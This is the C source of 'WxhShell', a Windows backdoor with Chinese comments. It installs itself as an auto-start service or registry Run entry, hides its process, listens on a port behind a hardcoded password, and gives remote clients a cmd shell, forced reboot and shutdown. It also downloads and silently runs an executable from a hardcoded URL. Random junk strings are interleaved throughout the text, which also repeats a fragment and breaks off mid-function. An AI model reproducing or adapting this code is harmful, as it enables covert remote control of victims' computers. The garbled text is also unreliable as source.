"g6b g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7_L$ XIa g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _*wlK;` NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BfD C[(n` sLc,Dx"+ if (!NtQueryInformationProcess) return 0; QGnUPiD^ Y 9BKd78Y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3E!3kSh| if(!hProcess) return 0; pR!m /LLo7" if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [*r=u[67F z7&m,:M CloseHandle(hProcess); B3E}fQm ) Am >b 7Z! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =TA8]7S~U if(hProcess==NULL) return 0; $NBQv6#: jEL"Q?# HMODULE hMod; yL23Nqe char procName[255]; sl)]yCD|5 unsigned long cbNeeded; s@*i /#[mV(k if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hwSxdT6 8(}cbW CloseHandle(hProcess); -+:t%A? P}he}k&IR if(strstr(procName,"services")) return 1; // 以服务启动 cEK#5 FaKZ|~Y
e return 0; // 注册表启动 <=%G%V_s } )qRE['M P&*e\"{ // 主模块 O{EbL5p int StartWxhshell(LPSTR lpCmdLine) )4n]n:FjN { }&^1")2t SOCKET wsl; Mz;KXP BOOL val=TRUE; l7(p~+o?h> int port=0; ceae~ struct sockaddr_in door; XLlJ|xhY-K 03!#99 if(wscfg.ws_autoins) Install(); w=[ITQ|W% e+y%M port=atoi(lpCmdLine); Gyc_B .G>~xm0 if(port<=0) port=wscfg.ws_port; 5qkyi]/U8 9jllW[`2F WSADATA data; /Y[ b8f if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1{G@'#( d,o|>e$ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; d26#0Gt-4i setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G9CL}=lJ, door.sin_family = AF_INET; G#6O'G
N door.sin_addr.s_addr = inet_addr("127.0.0.1"); X&A2:A 6\+ door.sin_port = htons(port); '~xiD?: jgBJs^JgYG if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +[pJr-k closesocket(wsl); Vr #o]v return 1; e<"sZK } w}
r mYQ ucUuhS5 if(listen(wsl,2) == INVALID_SOCKET) { (mx}6A closesocket(wsl); fF.+{-. return 1; H`7T;`Yb } ?]>;Wr Wxhshell(wsl); 3vEwui-5 WSACleanup(); 1:4u]$@E *7),v+ET return 0; +d3h @gp x/%/MFK)>8 } /L` + .xtam 8@ // 以NT服务方式启动 _FN#Vq2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZsGJ[ { N^jr DWORD status = 0; 5w</Ga DWORD specificError = 0xfffffff; m21H68y +
,rl\|J% serviceStatus.dwServiceType = SERVICE_WIN32; kM3#[#6$! serviceStatus.dwCurrentState = SERVICE_START_PENDING; >vNE3S_ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Tlk!6A: serviceStatus.dwWin32ExitCode = 0; LKst
QP!I serviceStatus.dwServiceSpecificExitCode = 0; mA5sK?W serviceStatus.dwCheckPoint = 0; zn5|ewl@" serviceStatus.dwWaitHint = 0; >&Vz/0 JY$;m3h hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U+VyH4" if (hServiceStatusHandle==0) return; 8 LsJ}c O?iLLfs status = GetLastError(); }zrapL"9X if (status!=NO_ERROR) {%6g6?=j { \Z-Fu=8J8^ serviceStatus.dwCurrentState = SERVICE_STOPPED; iO}KERfU serviceStatus.dwCheckPoint = 0; LVJn2t^ serviceStatus.dwWaitHint = 0; K/8TwB?I serviceStatus.dwWin32ExitCode = status; TmJXkR.5 serviceStatus.dwServiceSpecificExitCode = specificError; %t]{C06w+{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); j-t" return; S4
s#EDs } Sea6xGdq BxB B]( serviceStatus.dwCurrentState = SERVICE_RUNNING; d/\ajQ1:: serviceStatus.dwCheckPoint = 0; 0*6Q8`I serviceStatus.dwWaitHint = 0; b
T** y?2 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RJdijj } V2$M`|E )oZ2,]us! // 处理NT服务事件,比如:启动、停止 i>(TPj| VOID WINAPI NTServiceHandler(DWORD fdwControl) EEiWIf&S, { X5+$:jq& switch(fdwControl) vZXdc+2l { j k&\{ case SERVICE_CONTROL_STOP: >C`#4e?} serviceStatus.dwWin32ExitCode = 0; ~gg&G~ET serviceStatus.dwCurrentState = SERVICE_STOPPED; 7nZ3u_~ serviceStatus.dwCheckPoint = 0; ]^<\a=U serviceStatus.dwWaitHint = 0; SA?1*dw) { ,Uy;jk SetServiceStatus(hServiceStatusHandle, &serviceStatus); _!9I
f } `k(m2k? return; Q|G|5X case SERVICE_CONTROL_PAUSE: X#o;`QM serviceStatus.dwCurrentState = SERVICE_PAUSED; P[r$KGz break; IaO*{1re case SERVICE_CONTROL_CONTINUE: :)%cL8Nz]$ serviceStatus.dwCurrentState = SERVICE_RUNNING; {"db1Gbfg break; n/YnISt case SERVICE_CONTROL_INTERROGATE: c,#Nd@ break; {d> 6*b }; JY3!jtv SetServiceStatus(hServiceStatusHandle, &serviceStatus); :bXTV?#0
} N:,V{Pw i#PR
Tbc // 标准应用程序主函数 ]hZk#rp} int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +P.JiH`\= { ZHCrKp ;s#]."v_= // 获取操作系统版本 Bf" ZmG9 OsIsNt=GetOsVer(); ,Bj]j -\Y GetModuleFileName(NULL,ExeFile,MAX_PATH); 97pnq1b =>7czw:S1 // 从命令行安装 \\35}
9 if(strpbrk(lpCmdLine,"iI")) Install(); V(Oi!(H;v P1<McQ // 下载执行文件 qJR8fQ if(wscfg.ws_downexe) { OK2\2&G if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &"Fz)} WinExec(wscfg.ws_filenam,SW_HIDE); WN o+% } C#RueDa. bnV)f< if(!OsIsNt) { !. :b}t // 如果时win9x,隐藏进程并且设置为注册表启动 ${`q! HideProc(); m;S%RB^~H StartWxhshell(lpCmdLine); "WH
&BhQYD } ~eUv.I/ else ML%JTx0+Z if(StartFromService()) oUB9)C~ // 以服务方式启动 4thPR}DH} StartServiceCtrlDispatcher(DispatchTable); Se(apQH else /K_*Drk> // 普通方式启动 OOYdrv, StartWxhshell(lpCmdLine); :^]FpUY i'}"5O+ return 0; !RN9wXS7 } HN<e)E38 S(: |S( eYPIZ{S7h \p )eY#A =========================================== 8qT^=K
$ lLEEre d!"gb,ec " pL5j =-G4BQ dCzS f4: " #?~G\Ux0/ KC54=Rf #include <stdio.h> ;!EEzR. #include <string.h> |2I
p* #include <windows.h> :BblH0' #include <winsock2.h> ictOCF #include <winsvc.h> s2K8|q= #include <urlmon.h> ~:-V<r,pe t_qX7P8+' #pragma comment (lib, "Ws2_32.lib") 'JAe=K
H #pragma comment (lib, "urlmon.lib") +Xmza8T9 TaZlfe5z #define MAX_USER 100 // 最大客户端连接数 Ljk0K3Q6> #define BUF_SOCK 200 // sock buffer :oJ!9\5 #define KEY_BUFF 255 // 输入 buffer hxGo~<. : (KR.dxzjf #define REBOOT 0 // 重启
kb'l@d#E #define SHUTDOWN 1 // 关机 Qe=eer~jI dz?Ey~;M #define DEF_PORT 5000 // 监听端口 wT:mfS09N W}k)5<C4v #define REG_LEN 16 // 注册表键长度 EHt(!;?q #define SVC_LEN 80 // NT服务名长度 "mcuF]7F 7Y^2JlZu= // 从dll定义API G)%r|meKGB typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &I/C^/F& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); , D`\
RV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wVUm!Y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (@xr/9:i q_:B=w+bC // wxhshell配置信息 wr2F]1bh@ struct WSCFG { a6g+"EcH#' int ws_port; // 监听端口 @ oFuX. char ws_passstr[REG_LEN]; // 口令 1i
6>~ int ws_autoins; // 安装标记, 1=yes 0=no 58Z,(4:E char ws_regname[REG_LEN]; // 注册表键名 6Ou[t6 char ws_svcname[REG_LEN]; // 服务名 </qli-fXB} char ws_svcdisp[SVC_LEN]; // 服务显示名 Il!#] char ws_svcdesc[SVC_LEN]; // 服务描述信息 2}.EFQp+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k7bfgb{ int ws_downexe; // 下载执行标记, 1=yes 0=no HuajdC~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PJ'@! jx char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mj:=$}rs^ vrXNa8,L }; u]t#Vf-$u 9icy&' // default Wxhshell configuration 9jrlB0 struct WSCFG wscfg={DEF_PORT, h?&S*)1 "xuhuanlingzhe", 3d>xg%? 1, ~`VD}{[,B "Wxhshell", NSQf@o "Wxhshell", !*=+E%7 "WxhShell Service", (k>I!Z/&2 "Wrsky Windows CmdShell Service", =p$:vW "Please Input Your Password: ", +q)B4A'J! 1, %2rUJaOgy$ "http://www.wrsky.com/wxhshell.exe", 4CioVQdj "Wxhshell.exe" {@3p^b*E)1 }; i^6g1"h Rs1JCP=d8 // 消息定义模块 R>`TV(W`9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c"CF&vTp char *msg_ws_prompt="\n\r? for help\n\r#>"; F$>^pw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (khMjFOg char *msg_ws_ext="\n\rExit."; 0D_{LBO6LU char *msg_ws_end="\n\rQuit."; Z/=HQ8 char *msg_ws_boot="\n\rReboot..."; M9dUo7 char *msg_ws_poff="\n\rShutdown..."; I=wA)Bli1p char *msg_ws_down="\n\rSave to "; tU(vt0~b \d"M&-O char *msg_ws_err="\n\rErr!"; ? Glkhf7( char *msg_ws_ok="\n\rOK!"; @`#"6y? &io*pmUm6 char ExeFile[MAX_PATH]; \J3n[6; int nUser = 0; he1W22 HANDLE handles[MAX_USER]; +#0,2wR# int OsIsNt; >EIV`|b$h =[V SERVICE_STATUS serviceStatus; k6W
[// SERVICE_STATUS_HANDLE hServiceStatusHandle; {w|KWGk2 \l9S5%L9 // 函数声明 9x9~u8j int Install(void); <MoKTP-< int Uninstall(void); qox31pnS int DownloadFile(char *sURL, SOCKET wsh); G[!Y6c3 int Boot(int flag); Y'%k
G5nF void HideProc(void); NKS-G2Y<P int GetOsVer(void); gay6dj^ int Wxhshell(SOCKET wsl); .f]2%utHB void TalkWithClient(void *cs); tcU4$%H/ int CmdShell(SOCKET sock); N8w@8|KM int StartFromService(void); d 1bx5U int StartWxhshell(LPSTR lpCmdLine); !]z6?kUK #9)D.d|5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nXnO]wXC VOID WINAPI NTServiceHandler( DWORD fdwControl ); G Za< U:o(%dk // 数据结构和表定义 BSib/)p SERVICE_TABLE_ENTRY DispatchTable[] = Mee+bp { *wetPt)~v_ {wscfg.ws_svcname, NTServiceMain}, =jN9PzLk {NULL, NULL} Swg%[r=p= }; IHlTp0? !K$qh{n // 自我安装 juc;]CHt' int Install(void) C7lBK<gQ { -^%YrWgd? char svExeFile[MAX_PATH]; XKq}^M&gy HKEY key; ?yqTLj strcpy(svExeFile,ExeFile); ;3H#8x- jsrIZbN // 如果是win9x系统,修改注册表设为自启动 ZhpbbS if(!OsIsNt) { 5*W<6ia if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o1(?j}:c| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ayvHS&h RegCloseKey(key); Rg?m$$X` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #^ cmh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zU1[+JJY"{ RegCloseKey(key); CnA0^JX return 0; eQvdi|6 } (ug^2WG
Yq } >X"V } U1wsCH3+n else { <CnTiS# BRg(h3 ED // 如果是NT以上系统,安装为系统服务 xYGB{g] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T8ftBIOi if (schSCManager!=0) fq2t^c|$ { 4pfv?!Oj SC_HANDLE schService = CreateService <!r0[bKz@ ( .% rB-vO:g schSCManager, Y79{v nlGk wscfg.ws_svcname, 1hQeuG wscfg.ws_svcdisp, `Ko6;s# SERVICE_ALL_ACCESS, &XnbZ&_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (3>Z NTm SERVICE_AUTO_START, gADEjr*H SERVICE_ERROR_NORMAL, (t\
F>A svExeFile, 4x'N#m{p NULL, ,?Bo
x NULL, k}yUD 0Y NULL, lB0: 4cIj NULL, rfdT0xfcU NULL LK'|sO>|
); m:1f7Z> if (schService!=0) lQolE P.pc { i"{ \ > CloseServiceHandle(schService); )Bq~1M 2 CloseServiceHandle(schSCManager); &Jr~)o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^mu?V-4 strcat(svExeFile,wscfg.ws_svcname); nz=X/J6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~HH#aXh* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RU1+- RegCloseKey(key); fA]b'8 return 0; l }i
. } YRy5.F%? } _Co*"hl>2 CloseServiceHandle(schSCManager); qDQ$Zq[ } (>E70|T } %z(nZ%,Z )4hb% U return 1; MMpGI^x!-X } ItZqLUJm YmS}*>oz // 自我卸载 :CQ-?mT^LA int Uninstall(void) XL/?v"
/ { ="$9
<wt HKEY key; Q)7iu i U^tv_1 if(!OsIsNt) { V'";u?h#S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K&t+3O RegDeleteValue(key,wscfg.ws_regname); [,Io!O RegCloseKey(key); ?3Ytn+Py if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wgt[ACioN RegDeleteValue(key,wscfg.ws_regname); ;_.%S *W\ RegCloseKey(key); |G+6R-_ return 0; qjsS2,wM } z(AhO } ]vJ]
i<|b } 'nOc_b0 else { bIR AwktD z9k3@\7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f_*Bd.@ if (schSCManager!=0) \;z*j|;B { +Mb;;hb SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); akuV9S if (schService!=0) &*wN@e(c { y{.s
4NT if(DeleteService(schService)!=0) { ,;aELhMZ CloseServiceHandle(schService); GZ.Fq CloseServiceHandle(schSCManager); )Q_^f'4 return 0; d]JiJgfa% } v-;j44sB CloseServiceHandle(schService); n+Ia@$|m } V^a]@GK: CloseServiceHandle(schSCManager); Y <'T;@ } |U*wMYC } Le&SN7I 3d qj:4[f return 1; Sga/i?! } iWbrX1
I+ kKU,|>3h // 从指定url下载文件 j Y>BU& int DownloadFile(char *sURL, SOCKET wsh) T}ZUw;}BL { aKkG[qN HRESULT hr; rkF]Q_'`t; char seps[]= "/"; ;(cqaB char *token; a#iJXI char *file; xef@-%mcoy char myURL[MAX_PATH]; y$=$Yc&Ub char myFILE[MAX_PATH]; -r%3"C=m g$c\(isY; strcpy(myURL,sURL); K5O8G token=strtok(myURL,seps); 86c@Kk7z while(token!=NULL) o ]UG*2 { #&JhA2]q file=token; l6^IX0&p token=strtok(NULL,seps); Byx8`Cx1 } q*,g 39jnoT GetCurrentDirectory(MAX_PATH,myFILE); 7^}np^[HB strcat(myFILE, "\\"); =-XI)JV# strcat(myFILE, file); x7qVLpcL3z send(wsh,myFILE,strlen(myFILE),0); j]uL9\> send(wsh,"...",3,0); >
YHwWf- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /%w9F if(hr==S_OK) (1`z16 return 0; xh$1Rwa else ?[n{M return 1; %:bTOw[4r Q;]g9T[) } s8,N9o[.~P )24c( // 系统电源模块 kPt9(E] int Boot(int flag) o"5Bg%H { iNn]~L1 HANDLE hToken; DA)mkp TOKEN_PRIVILEGES tkp; OF^:_%c/ 7X\azL if(OsIsNt) { 7Sc._G{[% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MdzG2uZT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5,3Yt ~\m tkp.PrivilegeCount = 1; so~vnSQ!x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f9A^0A?c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *\9JIi 2 if(flag==REBOOT) { 8Vcg30_+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7M~w05tPh return 0; s bf\;_! } 1
J3h_z6/ else { uWs5+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L
B:wo.X return 0; t@KN+
C } 9EryHV| } <I}O_:% else { ^rz8c+ly if(flag==REBOOT) { A"wor\( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $S~e"ca1 return 0; GEr]zMYG[A } 2yYq/J else { B^W0Ik`m if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Im9^mVe return 0; 7O3 \ } sq6|J])GgU } 39s%CcI`k N7A/&~g5L return 1; }"?v=9.G } /b *VFA/75 DL&\iR // win9x进程隐藏模块 P4vW.|@ void HideProc(void) oM`[&m., { <VB;J5Rv ,z6&k HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sxq'uF(K if ( hKernel != NULL ) (h NSzG\ { 9Ra_[1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R:7j`gHJ|9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^P&)2m:s FreeLibrary(hKernel); ocwh*t)<k } A;~u"g 'z& k@qn'Zi return; h(aF>a\Z } Q_<CG[,6D1 0)}bJ,5/ // 获取操作系统版本 we6']iaV int GetOsVer(void) $i@~$m7d- { `&2AN%Xz OSVERSIONINFO winfo; rYI9?q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !|P>%bi GetVersionEx(&winfo); $E;`Y|r%WK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HbWl:y U return 1; +R}(t{b# else y:Ycn+X. return 0; Q>y2C8rnJ/ } 0m?v@K' l V9 <!pMj // 客户端句柄模块 =k]Rze I int Wxhshell(SOCKET wsl) bg$df 0 { q7-Eu4w SOCKET wsh; yw'b^D/ struct sockaddr_in client; !2oe;q2X[G DWORD myID; a%Ky;ys 7o?6Pv%HJC while(nUser<MAX_USER) lxTW1kr { \&6 int nSize=sizeof(client); #7OUqp wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (Sc]dH if(wsh==INVALID_SOCKET) return 1; #&vP(4p B42.;4"T handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GJW>8*&&( if(handles[nUser]==0) 0tVZvXgTu closesocket(wsh); ^`
N+mlh else gf6<`+/ nUser++; j*"V!d } 8/Z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y2i:ZP <_&H<]t%rI return 0; 9I*zgM!F } yRaB\' :AYp{"{ // 关闭 socket $5aRu, void CloseIt(SOCKET wsh) 0ts]
iQ7 { Tvr2K84l closesocket(wsh); +5(#~ nUser--; lb3: #? ExitThread(0); 9J%
~?k } \4y7! M{$EJS\d= // 客户端请求句柄 U1<EAGo| void TalkWithClient(void *cs) Q/ rOIHiI { f]H[uzsV }=Yvs) SOCKET wsh=(SOCKET)cs; ]c,ttS_ char pwd[SVC_LEN]; h32QEz-+ char cmd[KEY_BUFF]; E! ;giPq*n char chr[1]; 4bD^Kc4\ int i,j; xwG=&+66 e
W&;r&26 while (nUser < MAX_USER) { qh;ahX~ ]MJyBz+k if(wscfg.ws_passstr) { 5tI4m#y2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VA*~RS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :eqDEmr> //ZeroMemory(pwd,KEY_BUFF); Fi.gf?d i=0; ;pu68N(B while(i<SVC_LEN) { nsWenf `HXP*Bp# // 设置超时 t?H.M fd_set FdRead; T4n.C~ struct timeval TimeOut; 7r,'a{Rcn FD_ZERO(&FdRead); &!uw;|% FD_SET(wsh,&FdRead); x]|8 TimeOut.tv_sec=8; ZzET8?8 TimeOut.tv_usec=0; dOPA0Ja int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !HyPe"`oL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MJsz Nx>WOb98
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |r*btyOJk pwd=chr[0]; 0MDdcjqw if(chr[0]==0xd || chr[0]==0xa) { X^mvsY pwd=0; J9J[.6k8 break; $!P(Q } b6%T[B B i++; nHxos`Qx } /rp.H'hC Z}_{@| // 如果是非法用户,关闭 socket
5|2v6W!e if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WK5~"aw } _%#Q
\D v#u]cmI send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z'c{4b`N send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GFd~..$ J{8_4s!Xt> while(1) { |0nbO2} Qp8.D4^@3 ZeroMemory(cmd,KEY_BUFF); OMG.64DX . }}Ah-QU // 自动支持客户端 telnet标准 c`~aiC`l j=0; DE3>F^ j while(j<KEY_BUFF) { G4g<PFx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9hG)9X4 cmd[j]=chr[0]; 5Gm,lNQ Av if(chr[0]==0xa || chr[0]==0xd) { s6<`#KFAg cmd[j]=0; >xu}eWSz break; F. X{(8 } N\b%+vR j++; hl}@ha4' } V~-<VM6 Hb5^+.xur // 下载文件 l<
8RG@ if(strstr(cmd,"http://")) { Ys,}L. send(wsh,msg_ws_down,strlen(msg_ws_down),0); VQE8hQ37 if(DownloadFile(cmd,wsh)) Sd?:+\bS; send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kd}cf0 else X}b%gblx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <(x[Qp/5P } yv| |:wZC else { 4"72 TTcMIMyLT switch(cmd[0]) { b*=eMcd B:qH7`s // 帮助 RE/'E?G case '?': { c/.U< send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D%k%kg0, break; ,[enGw } )M(; :#le // 安装 "e62g case 'i': { INrl^P* if(Install()) w J
FEua send(wsh,msg_ws_err,strlen(msg_ws_err),0); A `\2]t$z else -;=0dfC( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bnBnE[y<' break; "R@N}q<*v2 } MB|+F // 卸载 f ?:
o case 'r': { k&|L"N|w if(Uninstall()) +=#sam*i send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]~~PD?jh else /CX_@%m}e= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @czNiWU"4; break; KK"uSC } PY=(|2tb4 // 显示 wxhshell 所在路径 P!yE{_% case 'p': { 0g% `L_e_ char svExeFile[MAX_PATH]; to~Ap=E strcpy(svExeFile,"\n\r"); B3[;}8u> strcat(svExeFile,ExeFile); UD1R_bL} send(wsh,svExeFile,strlen(svExeFile),0); 5]yQMY\2) break; "O1\]"j } 1HYrJb,d // 重启 B-`d7c5 case 'b': { &~oBJar send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); En$-,8\% if(Boot(REBOOT)) CDcZ6.f send(wsh,msg_ws_err,strlen(msg_ws_err),0); F9(*MP| else { !-1UJqO closesocket(wsh); Sw HrHj ExitThread(0); t.|b285e } 6$-Ex break; SQ7Ws u>T@ } P)x&9OHV // 关机 b
'p0T1K( case 'd': { 5P~{*of send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =\]5C if(Boot(SHUTDOWN)) SYkLia(Ty send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0LX;Vvo else { 5tUp[/]pl closesocket(wsh); S*,DX~vig ExitThread(0); |r2U4^ } V'TBt=!=] break; M6J~%qF^ } *
S4IMfp // 获取shell le1 case 's': { _7df(+.{<A CmdShell(wsh); {&Kck>C' closesocket(wsh); Cx(|ZD^ ExitThread(0); OxGKtnAjf break; f5p>oXo4b } :u$nH9kwv // 退出 ~)Z{ Yj9)S case 'x': { ;tK%Q~To send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yH}(0 CloseIt(wsh); B->3/dp2c' break; GG0l\!2) } z7B>7}i- // 离开 La&?0P A case 'q': { hKa<9>MI` send(wsh,msg_ws_end,strlen(msg_ws_end),0); -Zs.4@GH closesocket(wsh); -E,
d)O`;$ WSACleanup(); N.r8dC exit(1); {C+blzh6 break; cE(P^;7D } 37C'knW } 'T
G43^ } -!d'!;
] 8:* // 提示信息 >uHU3<2& if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S#km`N` } ]Rah,4?9f } ]B8`b er<yB#/;- return; Y#aL]LxZE } SZVNu*G!H mab921-n // shell模块句柄 `6bIxb{ int CmdShell(SOCKET sock) 7 'T3Wc { '0\,waEu STARTUPINFO si; \gz(C`4{j ZeroMemory(&si,sizeof(si)); 'mwgHo<u si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *uJ0ZO9 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?w^MnK0U) PROCESS_INFORMATION ProcessInfo; AkMP)\Q char cmdline[]="cmd"; 1f3c3PJ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hA'i|;|ZYc return 0; >* Ag0.Az } *dmBJi} S10"yhn(-t // 自身启动模式 > nHaMj int StartFromService(void) xxnvz { %XF>k) typedef struct _E\Cm { 7+(on DWORD ExitStatus; r6WSX;K DWORD PebBaseAddress; #)3luf3G
DWORD AffinityMask; oz.#+t%X$b DWORD BasePriority; /)+V(Jlu ULONG UniqueProcessId; pL [JGn ULONG InheritedFromUniqueProcessId; {[I]pm~n } PROCESS_BASIC_INFORMATION; H18.)yHX 2}\/_Y6 PROCNTQSIP NtQueryInformationProcess; $U/|+*
jw 4B^2} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jn :h;|9w static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nrEG4X9 "26=@Q^Y HANDLE hProcess; Uf}u`"$F PROCESS_BASIC_INFORMATION pbi; rp&XzMwC4 C@o8C%o HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f(Su if(NULL == hInst ) return 0; ( IXUT6| m;4qs#qCg? g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J@}PBHK+ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7oy}<9 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BjSd\Ul [d?tf if (!NtQueryInformationProcess) return 0; 6*&$ha}X Q8H+=L: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ''Y'ZsQ; if(!hProcess) return 0; \{EYkk0] 9)?_[|2 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GBY-WN4sc[ w}qLI4 CloseHandle(hProcess); 2MU$OI0| H$ZLtPv5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (Q?@LzCjy if(hProcess==NULL) return 0; wJc`^gj |!q,J HMODULE hMod; %dwI;%0 char procName[255]; e>T;'7HSS" unsigned long cbNeeded; T
